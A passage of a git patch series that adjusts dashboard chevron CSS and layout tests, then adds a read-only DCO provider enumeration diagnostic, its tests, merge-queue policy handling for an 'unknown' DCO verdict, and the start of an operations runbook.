transparent; border: 0; color: inherit; } .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } - .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 1 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + /* The copy shrink-wraps its text (flex 0 1 auto) so the words, with + their icons, sit centred in the chevron as before; a wrapped second + line is centred under the first rather than ragged-left. */ + .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 0 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; text-align: center; } .ham-chevron-copy :is(.ham-seg-t, .ham-detour, .ham-holder, .ham-gate-detail) { display: inline; white-space: normal; overflow-wrap: anywhere; } .ham-chevron-copy > .ham-decision-trigger { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } .config-tooltip.ham-chevron-tip { overflow-wrap: anywhere; max-width: calc(100vw - var(--sp-8)); max-height: calc(100vh - var(--sp-8)); overflow-y: auto; pointer-events: auto; } diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index 17bf403c66..25b0ea6dea 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -5,7 +5,7 @@ if (!dedicatedPreview) throw new Error('Use a dedicated published-preview tab, not the user’s live dashboard'); const tolerance = 1; const failures = []; - const coverage = { issueOnly: 0, linked: 0, prOnly: 0, nested: 0, multiIssue: 0, unknown: 0, queuedApproved: 0, wrapped: 0, controls: 0, controlTargets: 0, hitTested: 0, currentRows: 0, preparation: 0, superseded: 0, states: {} }; + const coverage = { issueOnly: 0, linked: 0, prOnly: 0, nested: 0, multiIssue: 0, unknown: 0, queuedApproved: 0, wrapped: 0, singleLineRows: 0, wrappedRows: 0, controls: 0, controlTargets: 0, hitTested: 0, currentRows: 0, preparation: 0, superseded: 0, states: {} }; const near = (a, b) => Math.abs(a - b) <= tolerance; const visible = el => el && el.getClientRects().length && getComputedStyle(el).display !== 'none'; const rect = el => el.getBoundingClientRect(); @@ -150,6 +150,29 @@ } const heights = columns.map(cell => rect(cell).height); assert(Math.max(...heights) - Math.min(...heights) <= tolerance, name + 'all physical chevrons have uniform height'); + // Content-driven height: the row is exactly as tall as its longest + // caption (one or two text lines plus the chevron's own padding and + // border), with a one-line floor for icon-only rows β€” never a fixed + // two-line box around one line of text. + const lineWidth = parseFloat(getComputedStyle(strip).getPropertyValue('--line-width')) || 0; + const cellBudget = (cell, lines, border) => { + const style = getComputedStyle(cell); + return lines * parseFloat(style.lineHeight) + parseFloat(style.paddingTop) + parseFloat(style.paddingBottom) + + (border === undefined ? parseFloat(style.borderTopWidth) + parseFloat(style.borderBottomWidth) : border); + }; + let rowLines = 0, expectedHeight = cellBudget(columns[0], 1, 2 * lineWidth); + for (const cell of columns) { + for (const copy of cell.querySelectorAll('.ham-chevron-copy, .cue-acting-cap')) { + if (!visible(copy)) continue; + const lines = Math.max(1, Math.round(rect(copy).height / parseFloat(getComputedStyle(copy).lineHeight))); + rowLines = Math.max(rowLines, lines); + expectedHeight = Math.max(expectedHeight, cellBudget(cell, lines)); + } + } + assert(near(Math.max(...heights), expectedHeight), name + 'chevron height is content-driven (' + (rowLines || 1) + ' text line(s) + padding), not a fixed two-line box: ' + + JSON.stringify({ measured: Math.max(...heights), expected: expectedHeight, lines: rowLines })); + if (rowLines === 1) coverage.singleLineRows++; + if (rowLines === 2) coverage.wrappedRows++; const ci = strip.querySelector('[data-track="ci"]'); const review = strip.querySelector('[data-track="review"]'); const current = columns.filter(cell => !cell.classList.contains('cap') && @@ -163,7 +186,18 @@ if (cell.dataset.routeState?.split(' ').includes('active')) { assert(cell.classList.contains('ham-current'), name + 'current phase remains highlighted independently of work'); const style = getComputedStyle(cell); - assert(Number(style.opacity) >= 0.9 && style.boxShadow !== 'none', name + 'queued/unknown/assigned/completed current tracks retain a visible steady outline'); + assert(Number(style.opacity) >= 0.9 && style.backgroundColor !== 'rgba(0, 0, 0, 0)' && style.backgroundColor !== 'transparent', name + 'queued/unknown/assigned/completed current tracks retain a visible steady fill'); + } + if (cell.dataset.track) { + // CI / Review lanes are chevrons like their neighbours: same notch + // polygon, padding and height, state expressed by fill, not a box. + const style = getComputedStyle(cell); + const peer = columns.find(other => other !== cell && !other.dataset.track && !other.classList.contains('cap') && other !== columns[0]); + const peerStyle = getComputedStyle(peer); + assert(style.clipPath !== 'none' && style.clipPath === peerStyle.clipPath, name + 'activity track keeps the chevron notch polygon: ' + JSON.stringify({ track: style.clipPath, peer: peerStyle.clipPath })); + assert(style.borderTopWidth === '0px' && style.borderLeftWidth === '0px' && style.borderRadius === peerStyle.borderRadius, name + 'activity track is not a bordered box'); + assert(style.paddingLeft === peerStyle.paddingLeft && style.paddingRight === peerStyle.paddingRight && style.paddingTop === peerStyle.paddingTop, name + 'activity track shares chevron padding'); + assert(near(rect(cell).height, rect(peer).height), name + 'activity track shares chevron height'); } if (cell.dataset.displayState === 'unknown') { coverage.unknown++; @@ -192,6 +226,30 @@ if (bounds.height > lineHeight + tolerance) coverage.wrapped++; assert(bounds.left >= rect(cell).left + parseFloat(getComputedStyle(cell).paddingLeft) - tolerance, name + 'text clears the left chevron notch'); assert(bounds.right <= rect(cell).right - parseFloat(getComputedStyle(cell).paddingRight) + tolerance, name + 'text clears the right chevron point'); + // Centred as before the two-line budget: the glyphs sit centred in + // their copy box (a stretched copy with start-aligned text fails + // here), and the copy together with its reserved icons sits centred + // in the chevron's content box, both horizontally and vertically. + const content = { left: rect(cell).left + parseFloat(getComputedStyle(cell).paddingLeft), right: rect(cell).right - parseFloat(getComputedStyle(cell).paddingRight), + top: rect(cell).top + parseFloat(getComputedStyle(cell).paddingTop), bottom: rect(cell).bottom - parseFloat(getComputedStyle(cell).paddingBottom) }; + const range = document.createRange(); + range.selectNodeContents(copy); + const glyphs = [...range.getClientRects()].filter(line => line.width > 0 && line.top >= bounds.top - tolerance && line.bottom <= bounds.bottom + tolerance); + const glyphTolerance = parseFloat(style.fontSize) / 2; // a trailing wrap space, never a ragged-left line + if (glyphs.length) { + const text = { left: Math.min(...glyphs.map(line => line.left)), right: Math.max(...glyphs.map(line => line.right)) }; + assert(Math.abs((text.left + text.right) / 2 - (bounds.left + bounds.right) / 2) <= glyphTolerance, name + 'caption text is horizontally centred within its copy box: ' + + JSON.stringify({ text, copy: { left: bounds.left, right: bounds.right } })); + } + const group = copy.parentElement === info + ? [...info.children].filter(child => visible(child) && !child.classList.contains('config-tooltip')).map(rect) + : [bounds]; + const union = { left: Math.min(...group.map(box => box.left)), right: Math.max(...group.map(box => box.right)), + top: Math.min(...group.map(box => box.top)), bottom: Math.max(...group.map(box => box.bottom)) }; + assert(Math.abs((union.left + union.right) / 2 - (content.left + content.right) / 2) <= tolerance, name + 'caption and icons are horizontally centred in the chevron: ' + + JSON.stringify({ union, content })); + assert(Math.abs((union.top + union.bottom) / 2 - (content.top + content.bottom) / 2) <= tolerance, name + 'caption and icons are vertically centred in the chevron: ' + + JSON.stringify({ union, content })); const icons = info ? [...info.querySelectorAll(':scope > svg, :scope > .ham-active-ico-wrap svg, :scope > .ham-gate-ico svg')].filter(visible) : []; for (const icon of icons) { const box = rect(icon); @@ -211,6 +269,7 @@ assert(coverage.states[state] > 0, 'preview must exercise current-head activity state ' + state); } assert(coverage.unknown > 0 && coverage.queuedApproved > 0 && coverage.wrapped > 0 && coverage.controls > 0, 'preview must include unknown, queued-CI/approved-review, long wrapped text and action/history controls'); + assert(coverage.singleLineRows > 0 && coverage.wrappedRows > 0, 'preview must include both a one-line-caption row (one-line-tall chevrons) and a two-line-caption row (two-line-tall chevrons)'); assert(coverage.controlTargets > 0 && coverage.controlTargets === coverage.hitTested, 'every relevant header control must be hit-tested, never skipped as offscreen'); if (failures.length) throw new Error(JSON.stringify({ viewport: innerWidth, coverage, failures })); return { viewport: innerWidth, coverage, failures }; diff --git a/src/scripts/fixtures/dashboard-activity-density.mjs b/src/scripts/fixtures/dashboard-activity-density.mjs index b1a3c7d421..f9a9076d7a 100644 --- a/src/scripts/fixtures/dashboard-activity-density.mjs +++ b/src/scripts/fixtures/dashboard-activity-density.mjs @@ -61,7 +61,13 @@ export function activityDensityFixture(input) { const triage = { repo: 'fixture/activity', kind: 'issue', number: 9008, stage: 15, state: 'open', title: 'Mock issue-only triage controls and long wrapping metadata', url: 'https://example.invalid/activity/9008', operator_action_count: 7 }; - items.push(unknown, conflict, waiting, running, held, coding, triage); + // One short caption ("Open Β· hold") β†’ a one-line-tall chevron row; the + // long-handle row above wraps to two. Both heights are probed. + const parked = { repo: 'fixture/activity', kind: 'issue', number: 9009, stage: 0, + state: 'open', title: 'Mock held issue with a one-line chevron caption', + url: 'https://example.invalid/activity/9009', modifiers: ['hold'], + hold: { by: 'hanthor', pill: 'Held by @hanthor', reason: 'Mock human hold' } }; + items.push(unknown, conflict, waiting, running, held, coding, triage, parked); const prUnder = (repo, issueNumber, pr, title) => ({ repo, kind: 'issue', number: issueNumber, stage: 40, state: 'open', title, url: 'https://example.invalid/activity/' + issueNumber, linked_prs: [pr], From ed048ecb241409a3b9f181207586730df0fac298 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 14:19:33 -0700 Subject: [PATCH 15/87] =?UTF-8?q?=F0=9F=90=9B=20fix(ci):=20report=20unavai?= =?UTF-8?q?lable=20DCO=20enumeration=20without=20weakening=20admission=20(?= =?UTF-8?q?#16442)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Distinguish the authoritative DCO provider's incomplete-history UNKNOWN diagnostic from a sign-off failure while keeping both admission paths closed. Show an operator-directed Actions summary and retain the current App/head/provenance requirements without retries or status substitution. Add a read-only full-history query reproducer, regression fixtures beyond the REST ceiling, and a recovery runbook linking the observed failures and the unmerged provider-side repair candidate. Hive-Run: hivecommons/hive#16404 Hive-Plan: dco-provider-diagnosis-and-reporting Hive-Spec: hivecommons/hive#16404#maintainer-fourth-direction Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- .github/scripts/diagnose-dco-provider.cjs | 115 ++++++++++++++++++ .../scripts/diagnose-dco-provider.test.cjs | 86 +++++++++++++ .github/scripts/native-queue-policy.cjs | 23 ++++ .github/scripts/native-queue-policy.test.cjs | 43 +++++++ .github/workflows/native-queue-policy.yml | 12 +- .github/workflows/pr-auto-update-test.yml | 4 +- docs/operations/dco-provider-unavailable.md | 101 +++++++++++++++ src/docs/native-merge-queue.md | 5 + 8 files changed, 386 insertions(+), 3 deletions(-) create mode 100644 .github/scripts/diagnose-dco-provider.cjs create mode 100644 .github/scripts/diagnose-dco-provider.test.cjs create mode 100644 docs/operations/dco-provider-unavailable.md diff --git a/.github/scripts/diagnose-dco-provider.cjs b/.github/scripts/diagnose-dco-provider.cjs new file mode 100644 index 0000000000..c7b96b4d4e --- /dev/null +++ b/.github/scripts/diagnose-dco-provider.cjs @@ -0,0 +1,115 @@ +'use strict'; + +// Read-only enumeration reproducer, NOT a DCO evaluator or status publisher. +// Selection mirrors dcoapp/app index.js at 828cc0b29a141821ddecd674bca0d8e634234c18. +const { execFileSync } = require('node:child_process'); +const QUERY = `query PullRequestCommits( + $owner: String!, $repo: String!, $pullNumber: Int!, $cursor: String, $parentLimit: Int! +) { + repository(owner: $owner, name: $repo) { + pullRequest(number: $pullNumber) { + headRefOid + commits(first: 100, after: $cursor) { + totalCount + nodes { commit { + oid url message + author { name email date user { login __typename } } + committer { name email date user { login __typename } } + signature { isValid state signature payload } + parents(first: $parentLimit) { nodes { oid url } } + } } + pageInfo { hasNextPage endCursor } + } + } + } +}`; +const SHA = /^[a-f0-9]{40}$/; + +function ghJSON(args, input) { + return JSON.parse(execFileSync('gh', args, { + input: input && JSON.stringify(input), encoding: 'utf8', + stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 64 * 1024 * 1024, + })); +} + +async function diagnose({ owner, repo, number, parentLimit = 100 }, api = ghJSON) { + if (!/^[\w.-]+$/.test(owner) || !/^[\w.-]+$/.test(repo) || + !Number.isSafeInteger(number) || number <= 0 || ![2, 100].includes(parentLimit)) { + throw new Error('Usage: node .github/scripts/diagnose-dco-provider.cjs OWNER REPO PR [--parents=2|100]'); + } + const endpoint = `repos/${owner}/${repo}/pulls/${number}`; + const pr = await api(['api', endpoint]); + const head = pr.head?.sha; + if (!SHA.test(head) || !Number.isSafeInteger(pr.commits) || pr.commits <= 0) { + throw new Error('Missing PR head or expected commit count'); + } + const restPages = await api(['api', `${endpoint}/commits?per_page=100`, '--paginate', '--slurp']); + const restCommits = restPages.flat(); + const commits = new Map(); + const cursors = new Set(); + let cursor = null; + let expected; + for (let page = 0; ; page++) { + // gh uses POST for GraphQL queries; this query only reads repository data. + const response = await api(['api', 'graphql', '--input', '-'], { + query: QUERY, variables: { owner, repo, pullNumber: number, cursor, parentLimit }, + }); + if (response.errors?.length) { + throw new Error(`GraphQL errors: ${JSON.stringify(response.errors)}`); + } + const current = response.data?.repository?.pullRequest; + if (current?.headRefOid !== head) throw new Error('PR head changed or unavailable during GraphQL enumeration'); + const connection = current.commits; + if (!Number.isSafeInteger(connection?.totalCount) || connection.totalCount !== pr.commits || + (expected !== undefined && connection.totalCount !== expected)) { + throw new Error('Incomplete or changed GraphQL totalCount'); + } + expected = connection.totalCount; + if (!Array.isArray(connection.nodes)) throw new Error('Missing GraphQL commit nodes'); + for (const node of connection.nodes) { + const commit = node?.commit; + if (!SHA.test(commit?.oid) || commits.has(commit.oid)) { + throw new Error('Malformed or duplicate GraphQL commit'); + } + commits.set(commit.oid, commit); + } + const info = connection.pageInfo; + if (typeof info?.hasNextPage !== 'boolean') throw new Error('Missing GraphQL pageInfo'); + if (!info.hasNextPage) break; + if (!info.endCursor || cursors.has(info.endCursor) || page + 1 >= Math.ceil(expected / 100) + 1) { + throw new Error('GraphQL pagination did not advance or exceeded expected pages'); + } + cursor = info.endCursor; + cursors.add(cursor); + } + if (commits.size !== expected || !commits.has(head) || + restCommits.some(commit => !commits.has(commit.sha))) { + throw new Error(`Incomplete history: GraphQL returned ${commits.size} of ${expected} commits, or REST/head mismatch`); + } + const final = await api(['api', endpoint]); + if (final.head?.sha !== head || final.commits !== expected || final.base?.sha !== pr.base?.sha) { + throw new Error('PR head/base/count changed during diagnosis'); + } + return { + head, restCount: restCommits.length, graphQLCount: commits.size, parentLimit, + // Full records remain available to callers inspecting mapping/sign-off + // failures beyond commit 250; the CLI only prints enumeration metadata. + commits: [...commits.values()], + }; +} + +if (require.main === module) { + const [owner, repo, pr, option, ...extra] = process.argv.slice(2); + const parentLimit = option === undefined ? 100 : Number(option.replace(/^--parents=/, '')); + Promise.resolve().then(() => { + if (extra.length || (option && !/^--parents=(2|100)$/.test(option))) throw new Error('Invalid arguments'); + return diagnose({ owner, repo, number: Number(pr), parentLimit }); + }).then(({ commits, ...result }) => { + console.log(JSON.stringify({ ...result, note: 'Enumeration only; no DCO verdict or admission proof.' }, null, 2)); + }).catch(error => { + console.error('DCO enumeration UNKNOWN:', error.stderr?.toString() || error.message); + process.exitCode = 1; + }); +} + +module.exports = { diagnose, QUERY }; diff --git a/.github/scripts/diagnose-dco-provider.test.cjs b/.github/scripts/diagnose-dco-provider.test.cjs new file mode 100644 index 0000000000..71a9a713d2 --- /dev/null +++ b/.github/scripts/diagnose-dco-provider.test.cjs @@ -0,0 +1,86 @@ +'use strict'; +const { test } = require('node:test'); +const assert = require('node:assert/strict'); +const { diagnose } = require('./diagnose-dco-provider.cjs'); +const sha = n => n.toString(16).padStart(40, '0'); + +function fixture() { + const state = { + pr: { head: { sha: sha(251) }, base: { sha: sha(999) }, commits: 251 }, + // Commit 251 must survive enumeration, including its invalid sign-off. + commits: Array.from({ length: 251 }, (_, i) => ({ oid: sha(i + 1), message: i === 250 ? 'unsigned' : 'signed' })), + calls: [], reads: 0, + }; + const api = async (args, input) => { + state.calls.push({ args, input }); + if (args[1] === 'graphql') { + const start = Number(input.variables.cursor || 0); + const end = Math.min(start + 100, state.commits.length); + const result = { data: { repository: { pullRequest: { + headRefOid: state.pr.head.sha, + commits: { + totalCount: state.pr.commits, nodes: state.commits.slice(start, end).map(commit => ({ commit })), + pageInfo: { hasNextPage: end < state.commits.length, endCursor: String(end) }, + }, + } } } }; + state.mutate?.(result, start); + return result; + } + if (args[1].includes('/commits?')) { + return [state.commits.slice(0, 100), state.commits.slice(100, 200), state.commits.slice(200, 250)] + .map(page => page.map(commit => ({ sha: commit.oid }))); + } + state.reads++; + const pr = structuredClone(state.pr); + if (state.reads === 2) state.changeFinal?.(pr); + return pr; + }; + return { state, api }; +} +const options = { owner: 'acme', repo: 'widget', number: 1 }; + +test('full history beyond the REST ceiling is retained with both parent selections', async () => { + for (const parentLimit of [100, 2]) { + const { state, api } = fixture(); + const result = await diagnose({ ...options, parentLimit }, api); + assert.equal(result.restCount, 250); + assert.equal(result.graphQLCount, 251); + assert.equal(result.commits[250].message, 'unsigned'); + const queries = state.calls.filter(c => c.input); + assert.deepEqual(queries.map(c => c.input.variables.cursor), [null, '100', '200']); + assert.ok(queries.every(c => c.input.variables.parentLimit === parentLimit)); + assert.ok(queries.every(c => c.input.query.startsWith('query ') && !c.input.query.includes('mutation'))); + assert.ok(state.calls.every(c => c.args[0] === 'api' && + (c.args[1] === 'graphql' || c.args[1].startsWith('repos/acme/widget/pulls/1')))); + } +}); + +test('partial data, omitted tail, duplicates, changed head/count and nonadvancing pages stay UNKNOWN', async () => { + const mutations = [ + r => { r.errors = [{ message: 'provider unavailable' }]; }, + r => { r.data.repository.pullRequest.headRefOid = sha(500); }, + r => { r.data.repository.pullRequest.commits.totalCount = 250; }, + r => { r.data.repository.pullRequest.commits.pageInfo.hasNextPage = false; }, + (r, start) => { if (start) r.data.repository.pullRequest.commits.nodes[0].commit = { oid: sha(1) }; }, + r => { r.data.repository.pullRequest.commits.pageInfo.endCursor = '100'; }, + r => { r.data.repository.pullRequest.commits.pageInfo = null; }, + ]; + for (const mutate of mutations) { + const { state, api } = fixture(); + state.mutate = mutate; + await assert.rejects(diagnose(options, api)); + } + for (const changeFinal of [ + pr => { pr.head.sha = sha(500); }, pr => { pr.base.sha = sha(500); }, pr => { pr.commits++; }, + ]) { + const { state, api } = fixture(); + state.changeFinal = changeFinal; + await assert.rejects(diagnose(options, api), /changed during diagnosis/); + } +}); + +test('transport failures and malformed invocation do not produce an enumeration result', async () => { + await assert.rejects(diagnose(options, async () => { throw new Error('403 forbidden'); }), /403 forbidden/); + await assert.rejects(diagnose({ ...options, parentLimit: 1 }), /Usage/); + await assert.rejects(diagnose({ ...options, owner: '../other' }), /Usage/); +}); diff --git a/.github/scripts/native-queue-policy.cjs b/.github/scripts/native-queue-policy.cjs index 91ea76049c..51bcf634f5 100644 --- a/.github/scripts/native-queue-policy.cjs +++ b/.github/scripts/native-queue-policy.cjs @@ -26,6 +26,27 @@ const closedNoop = (pr) => `PR #${pr.number} is closed; nothing to evaluate`; class PendingEvidence extends Error {} +// A provider's inability to evaluate is not a negative sign-off verdict. It +// still blocks admission, and is deliberately not PendingEvidence: polling or +// retrying the admission job cannot repair the external provider. +class ProviderUnavailable extends Error { + constructor(run, head) { + super(`DCO provider unavailable on ${head}: verdict UNKNOWN (App ${DCO_APP_ID}, ` + + `check run ${run.id}, conclusion ${run.conclusion}). Admission remains blocked. ` + + 'An operator must investigate the DCO provider enumeration path; see ' + + 'docs/operations/dco-provider-unavailable.md. No PR source change is requested.'); + } +} + +function dcoEnumerationUnavailable(run) { + // This text only classifies a diagnostic, never supplies passing evidence. + // Call only after validating provider, head and completed status. + return run.name === 'DCO' && run.conclusion === 'failure' && + typeof run.output?.summary === 'string' && + run.output.summary.startsWith('The DCO check could not be evaluated because the complete pull request commit list could not be retrieved.') && + run.output.summary.includes('That fallback did not complete, so the DCO verdict is unknown.'); +} + function membersForGroup(entries, group) { if (!SHA.test(group.head_sha) || !SHA.test(group.base_sha) || !group.base_ref?.startsWith('refs/heads/') || @@ -74,6 +95,7 @@ function evidenceForHead(runs, head, checks) { throw new Error(`Untrusted provider or wrong head for ${name}`); } if (run.status !== 'completed') throw new PendingEvidence(`${name} is pending`); + if (dcoEnumerationUnavailable(run)) throw new ProviderUnavailable(run, head); // Existing PR path scoping legitimately skips technical jobs only. Policy // proofs, especially external DCO, must have actually succeeded. const scopedSkip = Object.hasOwn(BUILD_CHECKS, name) && run.conclusion === 'skipped'; @@ -242,4 +264,5 @@ module.exports = { ACTIONS_APP_ID, DCO_APP_ID, POLICY_CHECKS, BUILD_CHECKS, PendingEvidence, membersForGroup, assertEligible, evidenceForHead, closedNoop, evaluate, isTransientAPIError, + ProviderUnavailable, }; diff --git a/.github/scripts/native-queue-policy.test.cjs b/.github/scripts/native-queue-policy.test.cjs index 06fad6eb64..72a38e3e30 100644 --- a/.github/scripts/native-queue-policy.test.cjs +++ b/.github/scripts/native-queue-policy.test.cjs @@ -5,9 +5,14 @@ const { ACTIONS_APP_ID, DCO_APP_ID, POLICY_CHECKS, BUILD_CHECKS, PendingEvidence, membersForGroup, assertEligible, evidenceForHead, closedNoop, evaluate, isTransientAPIError, + ProviderUnavailable, } = require('./native-queue-policy.cjs'); const sha = n => n.toString(16).padStart(40, '0'); +// App 1861 check run 125732155592 on #16378, head 1989d20aa8d0d92cce761786ac05825aef1d9d3a. +const unavailableSummary = 'The DCO check could not be evaluated because the complete pull request commit list could not be retrieved.\n\n' + + 'GitHub returned 250 commits from the REST API, so the app attempted to retrieve the full list through GraphQL before evaluating the pull request. ' + + 'That fallback did not complete, so the DCO verdict is unknown.\n\nHTTP status: unknown\nGitHub request ID: unavailable'; const group = { base_sha: sha(1), head_sha: sha(4), base_ref: 'refs/heads/v5', head_ref: 'refs/heads/gh-readonly-queue/v5/pr-2-example', @@ -157,6 +162,44 @@ test('no Actions-generated DCO, stale success, or skipped policy proof', () => { assert.equal(evidenceForHead(technical, sha(11), BUILD_CHECKS).length, 6); }); +test('provider enumeration UNKNOWN blocks both admission paths without retry or substituted proof', async () => { + for (const eventName of ['pull_request_target', 'merge_group']) { + const f = fixture(eventName); + const runs = f.state.runs.get(sha(11)); + const dco = runs.find(r => r.name === 'DCO'); + Object.assign(dco, { conclusion: 'failure', output: { summary: unavailableSummary } }); + // Neither an older authoritative success nor a lowercase status-like + // check can replace the latest failed authoritative run. + runs.push({ ...dco, id: 1, conclusion: 'success' }, + { ...dco, id: 999, name: 'dco', conclusion: 'success', app: { id: 999 } }); + await assert.rejects(evaluate(f), error => { + assert.ok(error instanceof ProviderUnavailable); + assert.ok(!(error instanceof PendingEvidence)); + assert.match(error.message, /verdict UNKNOWN.*App 1861/); + assert.match(error.message, /Admission remains blocked/); + assert.match(error.message, /No PR source change is requested/); + return true; + }); + dco.conclusion = 'success'; + assert.match(await evaluate(f), /policy providers succeeded|validated all/); + } +}); + +test('UNKNOWN reporting requires trusted exact-head completed DCO and the specific enumeration diagnostic', () => { + const dco = checks(sha(11), { DCO: null })[0]; + const unknown = { ...dco, conclusion: 'failure', output: { summary: unavailableSummary } }; + for (const change of [ + { app: { id: ACTIONS_APP_ID } }, { head_sha: sha(99) }, { status: 'in_progress' }, + { output: undefined }, { output: { summary: 'The sign-off is missing.' } }, + { output: { summary: 'DCO verdict is unknown.' } }, { conclusion: 'action_required' }, + ]) { + assert.throws(() => evidenceForHead([{ ...unknown, ...change }], sha(11), { DCO: null }), + error => !(error instanceof ProviderUnavailable)); + } + assert.throws(() => evidenceForHead([{ ...dco, conclusion: 'failure' }], sha(11), { DCO: null }), + error => !(error instanceof ProviderUnavailable) && error.message === 'DCO: failure'); +}); + test('draft, closed, held and moved-head/base PRs cannot pass', () => { for (const change of [ { draft: true }, { state: 'closed' }, { head: { sha: sha(99) } }, { base: { ref: 'v6' } }, diff --git a/.github/workflows/native-queue-policy.yml b/.github/workflows/native-queue-policy.yml index ee55939a06..08420d8e43 100644 --- a/.github/workflows/native-queue-policy.yml +++ b/.github/workflows/native-queue-policy.yml @@ -33,12 +33,12 @@ jobs: ref: ${{ github.event.merge_group.base_sha || format('refs/heads/{0}', github.event.pull_request.base.ref) }} persist-credentials: false - name: Test policy behavior - run: node --test .github/scripts/native-queue-policy.test.cjs + run: node --test .github/scripts/native-queue-policy.test.cjs .github/scripts/diagnose-dco-provider.test.cjs - name: Validate exact-head evidence (bounded wait for PR providers) uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 with: script: | - const { evaluate, PendingEvidence } = require('./.github/scripts/native-queue-policy.cjs'); + const { evaluate, PendingEvidence, ProviderUnavailable } = require('./.github/scripts/native-queue-policy.cjs'); const attempts = 90; const intervalMs = 15000; for (let attempt = 0; attempt < attempts; attempt++) { @@ -46,6 +46,14 @@ jobs: core.info(await evaluate({github, context})); return; } catch (error) { + if (error instanceof ProviderUnavailable) { + await core.summary + .addHeading('Admission blocked: DCO provider unavailable') + .addRaw(error.message) + .write(); + core.setFailed(error.message); + return; + } if (!(error instanceof PendingEvidence) || attempt === attempts - 1) throw error; core.info(error.message); await new Promise(resolve => setTimeout(resolve, intervalMs)); diff --git a/.github/workflows/pr-auto-update-test.yml b/.github/workflows/pr-auto-update-test.yml index acf6e3c6ab..011d3c6c78 100644 --- a/.github/workflows/pr-auto-update-test.yml +++ b/.github/workflows/pr-auto-update-test.yml @@ -7,6 +7,7 @@ on: - '.github/scripts/test_pr-auto-update.sh' - '.github/workflows/pr-auto-update*.yml' - '.github/scripts/native-queue-*.cjs' + - '.github/scripts/diagnose-dco-provider*.cjs' - 'src/pkg/dashboard/static-src/js/config-helpers.js' - 'src/pkg/dashboard/static-src/js/config-features.js' - 'src/pkg/dashboard/static-src/js/tracker-native-queue.js' @@ -23,6 +24,7 @@ on: - '.github/scripts/test_pr-auto-update.sh' - '.github/workflows/pr-auto-update*.yml' - '.github/scripts/native-queue-*.cjs' + - '.github/scripts/diagnose-dco-provider*.cjs' - 'src/pkg/dashboard/static-src/js/config-helpers.js' - 'src/pkg/dashboard/static-src/js/config-features.js' - 'src/pkg/dashboard/static-src/js/tracker-native-queue.js' @@ -52,7 +54,7 @@ jobs: with: node-version: '22' - name: Exercise native queue policy with mocked APIs - run: node --test .github/scripts/native-queue-policy.test.cjs .github/scripts/native-queue-settings.test.cjs .github/scripts/native-queue-tracker.test.cjs + run: node --test .github/scripts/native-queue-policy.test.cjs .github/scripts/native-queue-settings.test.cjs .github/scripts/native-queue-tracker.test.cjs .github/scripts/diagnose-dco-provider.test.cjs - name: Ensure YAML parser for workflow contracts run: | python3 -c 'import yaml' 2>/dev/null && exit 0 diff --git a/docs/operations/dco-provider-unavailable.md b/docs/operations/dco-provider-unavailable.md new file mode 100644 index 0000000000..4e154835a2 --- /dev/null +++ b/docs/operations/dco-provider-unavailable.md @@ -0,0 +1,101 @@ +# DCO provider unavailable on large forward merges + +`native-queue-policy` requires the latest completed **DCO** check from App +**1861** to succeed on the exact current PR head. When that provider reports +that it could not retrieve the complete PR commit list, admission is blocked +with **verdict UNKNOWN**. The Actions job remains failed and its summary +identifies provider unavailability. This is an operator/provider investigation; +it does not request a source change from the PR author. + +An ordinary negative DCO verdict still requires sign-off remediation. The +UNKNOWN classification applies only to the provider's explicit incomplete-list +diagnostic, after the App, head and completed status have been checked. A +changed or unrecognized provider message continues to fail closed as the +original check conclusion. No diagnostic text supplies passing evidence. + +## Observed evidence and provider path + +Investigation for [#16404](https://github.com/hivecommons/hive/issues/16404): + +| Evidence | Observation | +| --- | --- | +| [Check run 125732155592](https://github.com/hivecommons/hive/runs/125732155592) | App 1861, head `1989d20aa8d0d92cce761786ac05825aef1d9d3a`, completed `failure`; summary explicitly says the DCO verdict is unknown because GraphQL fallback did not complete. | +| [Check run 126045650867](https://github.com/hivecommons/hive/runs/126045650867) | Same diagnostic on head `66143614dbed95c6239f225719f4ec7e374f947b`; #16378 had 305 commits when inspected on 2026-11-03. | +| [Provider source](https://github.com/dcoapp/app/blob/828cc0b29a141821ddecd674bca0d8e634234c18/index.js) | `listPullRequestCommits` escalates exactly 250 REST commits to `fetchCompletePullRequestCommits`. It pages GraphQL by 100, checks stable totals, uniqueness, cursor progress and completeness, then maps the records before running the DCO evaluator. | +| [Provider issue #327](https://github.com/dcoapp/app/issues/327) | Reports the same incomplete-list failure. | +| [Provider PR #339](https://github.com/dcoapp/app/pull/339) | Proposed repair reduces nested `parents(first: 100)` to `parents(first: 2)` and exposes the underlying GraphQL error. Open and unmerged when inspected on 2026-11-03; deployment is not established. | + +250 is the REST endpoint's enumeration ceiling, not a Git ancestry limit. +The provider already attempts a full-history fallback. Its error summary hides +the actual exception and can report HTTP status `unknown` and request ID +`unavailable`, including for locally detected completeness/mapping errors. +Those fields alone do not prove an API permission, timeout or query-limit +failure. The nested parent selection is the upstream repair candidate; only +provider logs or a live query comparison can establish the cause for this +installation. A repository token's successful query would not prove that the +App installation token can perform the 